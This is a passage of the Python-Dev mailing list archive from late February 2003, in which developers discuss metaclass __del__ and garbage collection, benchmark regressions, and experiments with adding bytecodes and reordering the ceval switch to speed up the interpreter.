Date: Thu, 27 Feb 2003 10:22:22 -0500 Subject: [Python-Dev] bug? classes whose metclass has __del__ are not collectible In-Reply-To: Your message of "Thu, 27 Feb 2003 13:48:43 +0100." <024201c2de5e$8f7e33e0$6d94fea9@newmexico> References: <024201c2de5e$8f7e33e0$6d94fea9@newmexico> Message-ID: <200302271522.h1RFMN524344@odiug.zope.com> > new-style classes keep track of their subclasses through weak-refs so they > remain in general collectible. > > consider this code: (inspired by this post comp.lang.python post > id: I cannot find that article by id alone; groups.google.com doesn't have it. > > import sys > > class MyMetaclass(type): > > def __init__(cls, name, bases, dict): > super(MyMetaclass, cls).__init__(name, bases, dict) > print 'initialized', cls.__name__ > > if 'meta__del__' in sys.argv: > print "*meta__del__*" I'm guessing this should be indented the same as the following line. > def __del__(cls): > print 'deleted', cls.__name__ > > class MyClass(object): > if 'meta' in sys.argv: > print "*meta*" Ditto. > __metaclass__ = MyMetaclass > pass > > class Sub(MyClass): > pass > > del Sub > > import gc > > gc.collect() # force involved weak-refs to be cleared > > print "MyClass subclasses",MyClass.__subclasses__() > print "garbage",gc.garbage > > > > Now: > > C:\exp\py-subclasses-gc>\transit\Py23\python test.py > MyClass subclasses [] > garbage [] > > C:\exp\py-subclasses-gc>\transit\Py23\python test.py meta > *meta* > initialized MyClass > initialized Sub > MyClass subclasses [] > garbage [] > > also Sub with both metaclass type or MyMetaclass without __del__ is collectible > and collected but: > > C:\exp\py-subclasses-gc>\transit\Py23\python test.py meta meta__del__ > *meta__del__* > *meta* > initialized MyClass > initialized Sub > MyClass subclasses [] > garbage [] > > if MyMetaclass grows a __del__ method Sub is no longer collectible ... In general objects whose class has a __del__ method are not collectible. The GC implementation has a good reason for this; someone else may be able to explain it. --Guido van Rossum (home page: http://www.python.org/~guido/) From python@rcn.com Thu Feb 27 17:24:38 2003 From: python@rcn.com (Raymond Hettinger) Date: Thu, 27 Feb 2003 12:24:38 -0500 Subject: [Python-Dev] Slowdown in Python CVS References: <3E5DD1C5.2070800@lemburg.com> <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <000701c2de85$1b433080$a80ca044@oemcomputer> > > My nightly run of pybench went up from the usual 7590ms per > > run to around 8200ms between Monday night and today. Can anyone > > explain this ? > > Did you compare the outputs? There could be importants hint there! > :-) > > Maybe this checkin to ceval.c backfired? > > ---------------------------- > revision 2.351 > date: 2003/02/26 18:11:50; author: rhettinger; state: Exp; lines: +18 -4 > Micro-optimizations. > * List/Tuple checkexact is faster for the common case. > * Testing for Py_True and Py_False can be inlined for faster looping. > ---------------------------- That would be a bummer. It looked like a pure win. I timed the changes with PyStone with N=200000 and got: Base Code: 12.379 12.2716 12.2716 + CheckExact: 12.2746 12.2278 12.3165 + T/F inlined: 12.108 12.1697 12.1259 Since PyStone does weird things to booleans and uses "while 1", I ran a separate test on "while 1" vs. "while True" showed a speedup of "while True" and no measurable change to "while 1". If your timings show a different result, let me know and I'll back it out. Raymond Hettinger From newsgroups1@bitfurnace.com Thu Feb 27 18:54:05 2003 From: newsgroups1@bitfurnace.com (Damien Morton) Date: Thu, 27 Feb 2003 13:54:05 -0500 Subject: [Python-Dev] new bytecode results Message-ID: I tried adding a variety of new instructions to the PVM, initially with a code compression goal for the bytecodes, and later with a performance goal. definitions: USING_LOAD_FAST_N accesses to locals with an index<16 using a one byte instruction (no oparg) USING_LOAD_CONST_N accesses to consts with an index<16 using a one byte instruction (no oparg) USING_STORE_FAST_N accesses to locals with an index<16 using a one byte instruction (no oparg) USING_SHORT_CMP compare ops using a one byte instruction (no oparg) PyStone score for best of 10 runs. umodified 2.3a2 22200 using enum, 22200 (compacting the opcode numeric space using an enum instead of #defines) USING_LOAD_FAST_N 22700 USING_LOAD_CONST_N 22400 USING_STORE_FAST_N 22400 USING_LOAD_FAST_N, USING_LOAD_CONST_N 22350 USING_LOAD_FAST_N, USING_STORE_FAST_N, 22000 USING_LOAD_FAST_N, USING_LOAD_CONST_N, USING_STORE_FAST_N 22200 USING_SHORT_CMP 21500 USING_LOAD_FAST_N, USING_LOAD_CONST_N, USING_STORE_FAST_N, USING_SHORT_CMP 22000 Conclusions: While reducing the size of compiled bytecodes by about 1%, the proposed modifications at best increase performance by 2%, and at worst reduce performance by 3%. Enabling all of the proposed opcodes results in a 1% performance loss. In general, it would seem that adding opcodes in bulk, even if many opcodes switch to the same labels, results in a minor performance loss. Running PyStone under windows results in a fairly large variation in results. A zip file containing the source files I modified can be found at http://www.bitfurnace.com/python/modified-source.zip. If someone would like to try this code on their systems, I would be grateful to know what kind of results they achieve. The various proposed opcodes are controlled by a set of #defines in the file opcode.h Next steps: The results of my static analysis indicate that the indices used on LOAD_FAST, LOAD_CONST, STORE_FAST are almost always small. There may be some benefit to optimising these instructions to use single byte opargs. The results of my static and dynamic analysis indicate that the (COMPARE_OP, JUMP_IF_FALSE, POP_TOP) pattern is highly used. Im looking at what changes would need to be made to the compiler to remove the need for this sequence of instructions. From dan@sidhe.org Thu Feb 27 19:05:42 2003 From: dan@sidhe.org (Dan Sugalski) Date: Thu, 27 Feb 2003 14:05:42 -0500 Subject: [Python-Dev] new bytecode results In-Reply-To: References: Message-ID: At 1:54 PM -0500 2/27/03, Damien Morton wrote: >In general, it would seem that adding opcodes in bulk, even if many opcodes >switch to the same labels, results in a minor performance loss. While I'm somewhat loathe to help you guys go faster (that whole pie thing) you might want to take a look at commonly used pairs of opcodes and reordering the code in the switch body so pairs are adjacent and more likely to be in cache. -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From mal@lemburg.com Thu Feb 27 20:56:41 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 27 Feb 2003 21:56:41 +0100 Subject: [Python-Dev] Slowdown in Python CVS In-Reply-To: <000701c2de85$1b433080$a80ca044@oemcomputer> References: <3E5DD1C5.2070800@lemburg.com> <200302271225.h1RCPiS02208@pcp02138704pcs.reston01.va.comcast.net> <000701c2de85$1b433080$a80ca044@oemcomputer> Message-ID: <3E5E7B89.6020203@lemburg.com> Raymond Hettinger wrote: >>>My nightly run of pybench went up from the usual 7590ms per >>>run to around 8200ms between Monday night and today. Can anyone >>>explain this ? >> >>Did you compare the outputs? There could be importants hint there! >>:-) >> >>Maybe this checkin to ceval.c backfired? >> >>---------------------------- >>revision 2.351 >>date: 2003/02/26 18:11:50; author: rhettinger; state: Exp; lines: +18 -4 >>Micro-optimizations. >>* List/Tuple checkexact is faster for the common case. >>* Testing for Py_True and Py_False can be inlined for faster looping. >>---------------------------- > > > That would be a bummer. It looked like a pure win. > > I timed the changes with PyStone with N=200000 and got: > Base Code: 12.379 12.2716 12.2716 > + CheckExact: 12.2746 12.2278 12.3165 > + T/F inlined: 12.108 12.1697 12.1259 > > Since PyStone does weird things to booleans and uses > "while 1", I ran a separate test on "while 1" vs. "while True" > showed a speedup of "while True" and no measurable > change to "while 1". > > If your timings show a different result, let me know and > I'll back it out. Ok, I reran the tests using the CVS time machine and the results indicate that this was a false alarm. I am not exactly sure what is causing it though: both figures for the Monday checkout and todays checkout hover around 8200ms per run on average, while most historical figures from last month are in the 7590-7950ms range. Oh, BTW, your patch does not result in any significant change in pybench results. Nevermind, -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 27 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 33 days left EuroPython 2003, Charleroi, Belgium: 117 days left From mal@lemburg.com Thu Feb 27 21:09:43 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Thu, 27 Feb 2003 22:09:43 +0100 Subject: [Python-Dev] new bytecode results In-Reply-To: References: Message-ID: <3E5E7E97.5050403@lemburg.com> Damien Morton wrote: > I tried adding a variety of new instructions to the PVM, initially with a > code compression goal for the bytecodes, and later with a performance goal. > ... > Conclusions: > > While reducing the size of compiled bytecodes by about 1%, the proposed > modifications at best increase performance by 2%, and at worst reduce > performance by 3%. > > Enabling all of the proposed opcodes results in a 1% performance loss. > > In general, it would seem that adding opcodes in bulk, even if many opcodes > switch to the same labels, results in a minor performance loss. The general problem with the ceval switch statement is that it is too big. Adding new opcodes will only make it bigger, so I doubt that much can be gained in general by trying to come up with new do-everything-in-one-opcode cases. Back in the 1.5.2 days I played a lot with the ceval loop and the best results I got came from: a) moving the LOAD_FAST opcode out of the switch b) splitting the switch statement in two: the first one for more commonly used opcodes, the second one for less often used opcodes c) ordering cases in the switch statements by usage frequency (using average opcode usage frequencs obtained by instrumenting the interpreter) The last point is probably compiler dependent. GCC has the tendency to use the same layout for the assembler code as you use in the C source code, so placing often used code close to the top results in better locality (at least on my machines). -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 27 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 33 days left EuroPython 2003, Charleroi, Belgium: 117 days left From newsgroups1@bitfurnace.com Thu Feb 27 22:14:22 2003 From: newsgroups1@bitfurnace.com (Damien Morton) Date: Thu, 27 Feb 2003 17:14:22 -0500 Subject: [Python-Dev] Re: new bytecode results References: Message-ID: "Dan Sugalski" > At 1:54 PM -0500 2/27/03, Damien Morton wrote: > >In general, it would seem that adding opcodes in bulk, even if many opcodes > >switch to the same labels, results in a minor performance loss. > > While I'm somewhat loathe to help you guys go faster (that whole pie > thing) you might want to take a look at commonly used pairs of > opcodes and reordering the code in the switch body so pairs are > adjacent and more likely to be in cache. I caught the whole pie conversation, but I missed how you were going to test Parrot against Python. How exactly will this competion be measured? From newsgroups1@bitfurnace.com Thu Feb 27 22:22:45 2003 From: newsgroups1@bitfurnace.com (Damien Morton) Date: Thu, 27 Feb 2003 17:22:45 -0500 Subject: [Python-Dev] Re: new bytecode results References: <3E5E7E97.5050403@lemburg.com> Message-ID: "M.-A. Lemburg" wrote > Damien Morton wrote: > > Conclusions: > > > > While reducing the size of compiled bytecodes by about 1%, the proposed > > modifications at best increase performance by 2%, and at worst reduce > > performance by 3%. > > > > Enabling all of the proposed opcodes results in a 1% performance loss. > > > > In general, it would seem that adding opcodes in bulk, even if many opcodes > > switch to the same labels, results in a minor performance loss. > > The general problem with the ceval switch statement is that it > is too big. Adding new opcodes will only make it bigger, so I doubt > that much can be gained in general by trying to come up with new > do-everything-in-one-opcode cases. Each of the LOAD_FAST_N, LOAD_CONST_N, etc opcodes I added contributed only 1 line of code to the inner loop. LOAD_FAST_0: ... LOAD_FAST_15: oparg = opcode - LOAD_FAST_0 LOAD_FAST: break It is the growth of the switch jumptable that I suspect caused the slowdown. Im told that, under MSVC, the switch is implemented as two tables - the first a table of bytes, and the second a table of addresses. If thats the case, adding non-code-bearing opcodes that direct to the same label should only increase the switch jumptables by 1 byte for each opcode added. If not, then the switch jumptables would increase in size by 4 bytes or each opcode added. Either way, there doesnt seem to be any advantage in this approach. From dan@sidhe.org Thu Feb 27 22:49:25 2003 From: dan@sidhe.org (Dan Sugalski) Date: Thu, 27 Feb 2003 17:49:25 -0500 Subject: [Python-Dev] Re: new bytecode results In-Reply-To: References: Message-ID: At 5:14 PM -0500 2/27/03, Damien Morton wrote: >"Dan Sugalski" >> At 1:54 PM -0500 2/27/03, Damien Morton wrote: >> >In general, it would seem that adding opcodes in bulk, even if many >opcodes >> >switch to the same labels, results in a minor performance loss. >> >> While I'm somewhat loathe to help you guys go faster (that whole pie >> thing) you might want to take a look at commonly used pairs of >> opcodes and reordering the code in the switch body so pairs are >> adjacent and more likely to be in cache. > >I caught the whole pie conversation, but I missed how you were going to test >Parrot against Python. > >How exactly will this competion be measured? We've still got to hash out the details, but in december someone'll generate a bytecode file for the program(s) we're going to be running. We both get to run converters/optimizers over them if we choose. Then at the 2004 OSCON we'll run the converted programs and whichever takes less time (we've not set whether it's wall or CPU time, though I'm tempted to go for CPU so neither gets penalized for the odd background task that might be running) wins. The official details, limits, and pie flavors will likely be set at this summer's OSCON. -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From andrewm@object-craft.com.au Thu Feb 27 23:00:17 2003 From: andrewm@object-craft.com.au (Andrew McNamara) Date: Fri, 28 Feb 2003 10:00:17 +1100 Subject: [Python-Dev] new bytecode results In-Reply-To: Message from "M.-A. Lemburg" of "Thu, 27 Feb 2003 22:09:43 BST." <3E5E7E97.5050403@lemburg.com> References: <3E5E7E97.5050403@lemburg.com> Message-ID: <20030227230017.6D2473CC5C@coffee.object-craft.com.au> >The general problem with the ceval switch statement is that it >is too big. Adding new opcodes will only make it bigger, so I doubt >that much can be gained in general by trying to come up with new >do-everything-in-one-opcode cases. [...] >The last point is probably compiler dependent. GCC has the tendency >to use the same layout for the assembler code as you use in the >C source code, so placing often used code close to the top >results in better locality (at least on my machines). My experience with gcc (on x86) is that it uses a lookup table for contiguous switch statements rather than a long chain of compares/branches. A quick look at the assembler output from ceval.c suggests it's using a lookup table. What architecture did you observe this on? -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From niemeyer@conectiva.com Fri Feb 28 01:58:09 2003 From: niemeyer@conectiva.com (Gustavo Niemeyer) Date: Thu, 27 Feb 2003 22:58:09 -0300 Subject: [Python-Dev] Introducing Python Message-ID: <20030228015808.GA29855@ibook> I've just seen the Introducing Python video, found in http://www.ibiblio.org/obp/pyBiblio/pythonvideo.php This is a very interesting video, at least after you stop laughing. :-)) Jokes apart, it's indeed interesting to know how your mailing list partners/programming partners/benevolent dictators/friends/whatever look like, when they're not ascii characters. I'd advice it to anyone who is part of that community and is not able to be closer in meetings and similar events. Btw, Tim, your s will have a special meaning to me from now on. ;-) -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From tjreedy@udel.edu Fri Feb 28 02:59:49 2003 From: tjreedy@udel.edu (Terry Reedy) Date: Thu, 27 Feb 2003 21:59:49 -0500 Subject: [Python-Dev] Re: new bytecode results References: Message-ID: "Dan Sugalski" wrote in message news:a05200f00ba84455b2bc8@[63.120.19.221]... > We've still got to hash out the details, but in december someone'll > generate a bytecode file for the program(s) we're going to be > running. We both get to run converters/optimizers over them if we > choose. I find this a bit surprising. The problems of teaching to the test and programming to the benchmark are well-known. I presume the extreme of 'optimizing' the bytecode down to a single byte (that calls a custom compiled-to-machine-code function) will be disallowed. But I wonder how and where you plan to draw the line between that and out-of-the-box behavior. > Then at the 2004 OSCON we'll run the converted programs and With enough 'conversion', the result could be seen as no longer being a compilation of standard Python, but of a variant with type declarations and pragmas added and certain dynamic features deleted. In any case, this seems to makes the contest one more of special-case optimization and less of general-case running time, and therefore of less relevance to users who want *their* programs to run faster with an out-of-the-box interpreter. > whichever takes less time (we've not set whether it's wall or CPU > time, though I'm tempted to go for CPU so neither gets penalized for > the odd background task that might be running) wins. >From my user viewpoint, I am more interested in total time from source input to finish. > The official details, limits, and pie flavors will likely be set at > this summer's OSCON. Will you allow runtime compilation (as with psyco)? How about pre-contest dynamic compilation? (I believe Armin plans to add a save/restore feature). What if psyco-like dynamic compilation is a 'stock' feature of one system and not the other? Your contest, my questions and comments. Terry J. Reedy From tim.one@comcast.net Fri Feb 28 03:21:20 2003 From: tim.one@comcast.net (Tim Peters) Date: Thu, 27 Feb 2003 22:21:20 -0500 Subject: [Python-Dev] Re: new bytecode results In-Reply-To: Message-ID: [Terry Reedy] > ... > The problems of teaching to the test and programming to the benchmark > are well-known. > ... > Your contest, my questions and comments. Not to worry -- I made my living for 15 years writing optimizing compilers in the highly competitive (at the time -- it competed itself to death) supercomputer biz. I've forgotten more dirty tricks than even a Perl guy can pick up in a lifetime . One of my favorites: one of the rules in a particular competitive benchmark was that editing the source code was not allowed. Everyone had to run the source file verbatim from the prospective customer. One of Cray's competitors (and, no, I'm not making this up) implemented a simple sed-like subsystem driven by text on the compiler *command line*, which effectively allowed them to edit the source code without physically changing the file. They used this to dump all sorts of compiler directives into the benchmark code, and even to replace a particular critical loop nest with a call to a highly optimized library subroutine. Their results were quite impressive. But ours were even better: general global analysis deduced that the computed results weren't used for anything, so we optimized away all the expensive loops. Our results weren't all to the good, though: the program ran so fast then that the "operations per second" output at the end overflowed to a negative integer. Heh. Believe it or not, customers were once so naive that they actually looked at benchmark results as if they measured something relevant to their business . beauty-is-a-more-objective-measure-ly y'rs - tim From dmorton@bitfurnace.com Fri Feb 28 06:24:23 2003 From: dmorton@bitfurnace.com (damien morton) Date: Fri, 28 Feb 2003 01:24:23 -0500 Subject: [Python-Dev] new bytecode results In-Reply-To: <3E5E7E97.5050403@lemburg.com> Message-ID: <001301c2def2$09d374a0$6401a8c0@damien> > From: M.-A. Lemburg [mailto:mal@lemburg.com] > > Back in the 1.5.2 days I played a lot with the ceval loop and > the best results I got came from: > > a) moving the LOAD_FAST opcode out of the switch Are you suggesting a test for LOAD_FAST before the switch, e.g. if (opcode == LOAD_FAST) { // load fast } else switch (opcode) { // body } > b) splitting the switch statement in two: the first one for > more commonly used opcodes, the second one for less often > used opcodes Are you suggesting something like: switch (opcode) { case COMMON_OP: case COMMON_OP: ... default: switch (opcode) { case UNCOMMON_OP: case UNCOMMON_OP: } Or something like this: switch (opcode) { case COMMON_OP: case COMMON_OP: ... default: handle_uncommon_ops(); } > c) ordering cases in the switch statements by usage frequency > (using average opcode usage frequencs obtained by > instrumenting the interpreter) I might try a little simulated annealing to generate layouts with high frequency opcodes near the front and coorcurring opcodes near each other. > The last point is probably compiler dependent. GCC has the > tendency to use the same layout for the assembler code as you > use in the C source code, so placing often used code close to > the top results in better locality (at least on my machines). From mal@lemburg.com Fri Feb 28 08:41:29 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Fri, 28 Feb 2003 09:41:29 +0100 Subject: [Python-Dev] new bytecode results In-Reply-To: <20030227230017.6D2473CC5C@coffee.object-craft.com.au> References: <3E5E7E97.5050403@lemburg.com> <20030227230017.6D2473CC5C@coffee.object-craft.com.au> Message-ID: <3E5F20B9.2040409@lemburg.com> Andrew McNamara wrote: >>The general problem with the ceval switch statement is that it >>is too big. Adding new opcodes will only make it bigger, so I doubt >>that much can be gained in general by trying to come up with new >>do-everything-in-one-opcode cases. > > [...] > >>The last point is probably compiler dependent. GCC has the tendency >>to use the same layout for the assembler code as you use in the >>C source code, so placing often used code close to the top >>results in better locality (at least on my machines). > > My experience with gcc (on x86) is that it uses a lookup table > for contiguous switch statements rather than a long chain of > compares/branches. A quick look at the assembler output from ceval.c > suggests it's using a lookup table. Right, but the code for the case implementations itself is ordered (more or less) in the order you use in the C file. At least that was the case at the time (which must have been GCC 2.95.x or even earlier). > What architecture did you observe > this on? Linux. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 28 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 32 days left EuroPython 2003, Charleroi, Belgium: 116 days left From mal@lemburg.com Fri Feb 28 08:48:32 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Fri, 28 Feb 2003 09:48:32 +0100 Subject: [Python-Dev] new bytecode results In-Reply-To: <001301c2def2$09d374a0$6401a8c0@damien> References: <001301c2def2$09d374a0$6401a8c0@damien> Message-ID: <3E5F2260.3080808@lemburg.com> damien morton wrote: >>From: M.-A. Lemburg [mailto:mal@lemburg.com] >> >>Back in the 1.5.2 days I played a lot with the ceval loop and >>the best results I got came from: >> >>a) moving the LOAD_FAST opcode out of the switch > > > Are you suggesting a test for LOAD_FAST before the switch, > > e.g. > if (opcode == LOAD_FAST) { > // load fast > } > else switch (opcode) { > // body > } Yes. >>b) splitting the switch statement in two: the first one for >> more commonly used opcodes, the second one for less often >> used opcodes > > > Are you suggesting something like: > > switch (opcode) { > case COMMON_OP: > case COMMON_OP: > ... > default: > switch (opcode) { > case UNCOMMON_OP: > case UNCOMMON_OP: > } Yes, except that in the default case the code is placed after the first switch. switch (opcode) { case COMMON_OP: goto nextInstruction; case COMMON_OP: ... goto nextInstruction; default: ; } switch (opcode) { case UNCOMMON_OP: case UNCOMMON_OP: } goto nextInstruction; > Or something like this: > > switch (opcode) { > case COMMON_OP: > case COMMON_OP: > ... > default: > handle_uncommon_ops(); > } That's hard to do because the loop has so many variables to pass into handle_uncommon_ops(). I haven't tried it though (or at least I don't remember trying it :-), so perhaps this is even better. >>c) ordering cases in the switch statements by usage frequency >> (using average opcode usage frequencs obtained by >> instrumenting the interpreter) > > I might try a little simulated annealing to generate layouts with high > frequency opcodes near the front and coorcurring opcodes near each > other. I did that by hand, sort of :-) The problem is that the scoring phases takes rather long, so you better start with a good guess. >>The last point is probably compiler dependent. GCC has the >>tendency to use the same layout for the assembler code as you >>use in the C source code, so placing often used code close to >>the top results in better locality (at least on my machines). -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 28 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 32 days left EuroPython 2003, Charleroi, Belgium: 116 days left From andrewm@object-craft.com.au Fri Feb 28 10:28:55 2003 From: andrewm@object-craft.com.au (Andrew McNamara) Date: Fri, 28 Feb 2003 21:28:55 +1100 Subject: [Python-Dev] new bytecode results In-Reply-To: Message from "M.-A. Lemburg" of "Fri, 28 Feb 2003 09:41:29 BST." <3E5F20B9.2040409@lemburg.com> References: <3E5E7E97.5050403@lemburg.com> <20030227230017.6D2473CC5C@coffee.object-craft.com.au> <3E5F20B9.2040409@lemburg.com> Message-ID: <20030228102855.317113CC5C@coffee.object-craft.com.au> >>>The last point is probably compiler dependent. GCC has the tendency >>>to use the same layout for the assembler code as you use in the >>>C source code, so placing often used code close to the top >>>results in better locality (at least on my machines). >> >> My experience with gcc (on x86) is that it uses a lookup table >> for contiguous switch statements rather than a long chain of >> compares/branches. A quick look at the assembler output from ceval.c >> suggests it's using a lookup table. > >Right, but the code for the case implementations itself is >ordered (more or less) in the order you use in the C file. At >least that was the case at the time (which must have been GCC >2.95.x or even earlier). Yeah - I think I must have been reading too fast - on second reading, you clearly said "locality". -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From amk@amk.ca Fri Feb 28 13:57:10 2003 From: amk@amk.ca (A.M. Kuchling) Date: Fri, 28 Feb 2003 08:57:10 -0500 Subject: [Python-Dev] Re: new bytecode results In-Reply-To: References: Message-ID: Terry Reedy wrote: > In any case, this seems to makes the contest one more of special-case > optimization and less of general-case running time, and therefore of > less relevance to users who want *their* programs to run faster with > an out-of-the-box interpreter. Indeed. I suspect, though, that if the test program exercises a sizable chunk of Python's functionality, we won't see a Parrot-based implementation that can run it. 2004 is a long time away, time enough for the PyPy effort to bear fruit. Guido, when it comes time to write the benchmark program, please get in touch with me; I'd like to help produce a realistic test program. --amk (www.amk.ca) Orchestra: Anagram of carthorse. -- Peter Greenaway, _Rosa: The Death of a Composer_ From neal@metaslash.com Fri Feb 28 14:27:13 2003 From: neal@metaslash.com (Neal Norwitz) Date: Fri, 28 Feb 2003 09:27:13 -0500 Subject: [Python-Dev] new bytecode results In-Reply-To: <3E5F2260.3080808@lemburg.com> References: <001301c2def2$09d374a0$6401a8c0@damien> <3E5F2260.3080808@lemburg.com> Message-ID: <20030228142713.GW2041@epoch.metaslash.com> On Fri, Feb 28, 2003 at 09:48:32AM +0100, M.-A. Lemburg wrote: > damien morton wrote: > >>From: M.-A. Lemburg [mailto:mal@lemburg.com] > >> > >>Back in the 1.5.2 days I played a lot with the ceval loop and > >>the best results I got came from: > >> > >>b) splitting the switch statement in two: the first one for > >> more commonly used opcodes, the second one for less often > >> used opcodes > > > > > >Are you suggesting something like: > > > >switch (opcode) { > > case COMMON_OP: > > case COMMON_OP: > > ... > > default: > > handle_uncommon_ops(); > >} > > That's hard to do because the loop has so many variables > to pass into handle_uncommon_ops(). I haven't tried > it though (or at least I don't remember trying it :-), > so perhaps this is even better. The patch I mentioned before did that, but for all opcodes. You could apply only part of the patch. That may yield better results. But for all opcodes it was worse. http://python.org/sf/693638 Neal From mwh@python.net Fri Feb 28 15:07:37 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 28 Feb 2003 15:07:37 +0000 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: ("Mark Hammond"'s message of "Thu, 27 Feb 2003 23:19:26 +1100") References: Message-ID: <2m7kbk30li.fsf@starship.python.net> "Mark Hammond" writes: > [Michael] >> It Would Be Nice (tm) if the code that printed tracebacks could be >> made cleverer in some fashion. > > I guess this could be a 2-stage thing: > * Delegate the dumping of tracebacks in C code back to the traceback module. > I guess that the existing code would need to remain if an error is raised > printing it, but in general, traceback does a fine job. Yes, I've thought about this several times. I always get scared by the general copmlexity of it all, and bootstrapping issues. > * Give linecache some additional smarts. Once we are back in Python land, > the possibilities become vast. While we're at it, linecache's charming habit of occasionally giving out of date information is Pure Evil. Performance my arse, lying to the user is worse. Cheers, M. -- Hey, if I thought I was wrong, I'd change my mind. :) -- Grant Edwards, comp.lang.python From dkwolfe@pacbell.net Fri Feb 28 15:52:27 2003 From: dkwolfe@pacbell.net (Dan Wolfe) Date: Fri, 28 Feb 2003 07:52:27 -0800 Subject: [Python-Dev] Re: new bytecode results In-Reply-To: Message-ID: Why wait? In the last year of lurking on this list, I've seen requests for a good python benchmark no less than 4 times - the most recent being damien morton's attempt to prove/disprove his optimizations. Having an "approved" good benchmark/realistic test program would make it easy to validate optimizations, and head off the consistent 'pystone is not a realistic benchmark' arguments that come up each time.... Besides, it will take a 6 months just to agree to a basic framework, and another 6 months to work around all the "competitive optimization tricks" timbot has up his sleeve... just-looking-at-it-realistically, - Dan On Friday, February 28, 2003, at 05:57 AM, A.M. Kuchling wrote: > Guido, when it comes time to write the benchmark program, please get > in touch with me; I'd like to help produce a realistic test program. From newsgroups1@bitfurnace.com Fri Feb 28 17:00:09 2003 From: newsgroups1@bitfurnace.com (Damien Morton) Date: Fri, 28 Feb 2003 12:00:09 -0500 Subject: [Python-Dev] Re: new bytecode results References: <001301c2def2$09d374a0$6401a8c0@damien> <3E5F2260.3080808@lemburg.com> Message-ID: > >>c) ordering cases in the switch statements by usage frequency > >> (using average opcode usage frequencs obtained by > >> instrumenting the interpreter) > > > > I might try a little simulated annealing to generate layouts with high > > frequency opcodes near the front and coorcurring opcodes near each > > other. > > I did that by hand, sort of :-) The problem is that the > scoring phases takes rather long, so you better start with > a good guess. Im wondering what good scoring scheme would look like. I tried a scoring scheme in which layouts were scored thusly: for (i = 0; i < MAXOP; i++) for (j = 0; j < MAXOP; j++) score += pairfreq[layout[i]][layout[j]] * (i < j ? j-i : i-j) This works fine, but Im thinking that a simpler scoring scheme which looks only at the frequencies of adjacent ops might be sufficient, and would certainly be faster. for (i = 1; i < MAXOP; i++) score += pairfreq[layout[i-1]][layout[i]] The idea is that while caches favour locality of reference, because a cache line is finite in size and relatively small (16 or 64 bytes), there arent any long-range effects. In other words, caches favour adjacency of reference rather than locality of reference. From newsgroups1@bitfurnace.com Fri Feb 28 17:34:19 2003 From: newsgroups1@bitfurnace.com (Damien Morton) Date: Fri, 28 Feb 2003 12:34:19 -0500 Subject: [Python-Dev] Re: new bytecode results References: <001301c2def2$09d374a0$6401a8c0@damien> <3E5F2260.3080808@lemburg.com> Message-ID: > > Are you suggesting a test for LOAD_FAST before the switch, > > > > e.g. > > if (opcode == LOAD_FAST) { > > // load fast > > } > > else switch (opcode) { > > // body > > } > > Yes. Hmm, I might even be able to do something like this: if (opcode >= LOAD_FAST_0) { oparg = opcode - LOAD_FAST_0; ... } else switch (opcode) { } > Yes, except that in the default case the code is placed after the > first switch. > > switch (opcode) { > case COMMON_OP: > goto nextInstruction; > case COMMON_OP: > ... > goto nextInstruction; > default: > ; > } > > switch (opcode) { > case UNCOMMON_OP: > case UNCOMMON_OP: > } > goto nextInstruction; Why would you do it as two consecutive switches, rather than two nested switches? The current ceval code has nested switches for when CASE_TOO_BIG is defined. Hmmm. I would guess that the handling of default within a switch is probably highly optimised by the compiler, using if/then range tests. If we structured the opcodes so that uncommon ops were a two-byte opcode, we could do something like this: switch (opcode) { default: load_fast(opcode - LOAD_FAST_0); goto nextInstruction; case COMMON_OP1: ... goto nextInstruction; case COMMON_OP2: ... goto nextInstruction; case UNCOMMON_OP: break; } opcode = NEXTBYTE(); switch(opcode) { case UNCOMMON_OP1: ... break; case UNCOMMON_OP2: ... break; } This would free up the opcode numeric space for fast/frequent ops with immediate args encoded into them. From skip@pobox.com Fri Feb 28 17:48:38 2003 From: skip@pobox.com (Skip Montanaro) Date: Fri, 28 Feb 2003 11:48:38 -0600 Subject: [Python-Dev] Re: new bytecode results In-Reply-To: References: <001301c2def2$09d374a0$6401a8c0@damien> <3E5F2260.3080808@lemburg.com> Message-ID: <15967.41206.496534.14529@montanaro.dyndns.org> >> > Are you suggesting a test for LOAD_FAST before the switch, >> > >> > e.g. >> > if (opcode == LOAD_FAST) { >> > // load fast >> > } >> > else switch (opcode) { >> > // body >> > } >> >> Yes. Damien> Hmm, I might even be able to do something like this: Damien> if (opcode >= LOAD_FAST_0) { Damien> oparg = opcode - LOAD_FAST_0; Damien> ... Damien> } Damien> else switch (opcode) { Damien> } I think you want "&& opcode <= LOAD_FAST_15" in there somewhere, or something to cap the range of the test. Now you've increased the cost of the check, maybe making it no longer worthwhile. Skip From dan@sidhe.org Fri Feb 28 17:07:20 2003 From: dan@sidhe.org (Dan Sugalski) Date: 